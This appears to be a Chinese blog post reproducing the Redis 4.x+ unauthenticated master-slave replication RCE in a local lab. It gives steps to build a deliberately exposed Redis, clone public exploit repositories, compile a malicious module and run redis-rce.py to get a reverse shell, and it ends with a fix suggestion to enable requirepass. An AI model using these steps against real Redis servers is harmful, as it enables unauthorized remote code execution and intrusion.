redis 4.x及以上的未授权访问(主从复制RCE)

00x01 环境搭建

选择在kali中复现

选择了redis5.0.5版本

1.下载并安装:

$ wget http://download.redis.io/releases/redis-5.0.5.tar.gz

$ tar xzf redis-5.0.5.tar.gz

$ cd redis-5.0.5

$ make

2.将redis-5.0.5.tar.gz里面的redis.conf文件中的“bind 127.0.0.1”这一行前面加注释符“#”;再将”protected-mode yes”改为no。

3.运行redis:

./redis-server ../redis.conf

 

00x02 下载EXP

git clone https://github.com/Ridter/redis-rce.git

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

生成module.so文件:

进入RedisModules-ExecuteCommand文件的sec文件里面,看见makefile、module.c两个文件,进入该路径的终端,执行命令make生成module.so文件

 

将module.so文件复制到redis-rce目录下

 

在当前目录下的终端执行:python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so

-r参数是指远程Redis IP地址; -L参数是指反弹到的服务器IP地址; 执行命令后,开启监听了本地的60720端口,并成功反弹回了shell。

 

00x03修复建议

这属于未授权访问漏洞,redis是默认开启未授权访问的,因此只要网站管理员将redis.conf文件里面的”requirepass”参数开启就行了(取消注释及开启)

 

posted @ 2019-07-14 20:11  ctrl_TT豆  阅读(784)  评论(0编辑  收藏  举报